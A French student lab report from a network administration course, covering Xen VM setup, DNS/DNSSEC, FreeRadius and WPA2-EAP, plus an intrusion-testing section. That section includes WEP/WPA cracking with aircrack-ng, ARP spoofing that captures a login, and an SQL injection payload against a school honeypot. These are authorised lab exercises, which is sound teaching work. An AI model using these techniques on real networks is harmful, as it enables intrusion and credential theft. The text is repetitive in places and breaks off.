Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter 0
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-12-14T12:25:32Z

Lchenu : /* Partie commune */

== Partie commune ==
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)

L'objectif est la redondance matérielle.

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
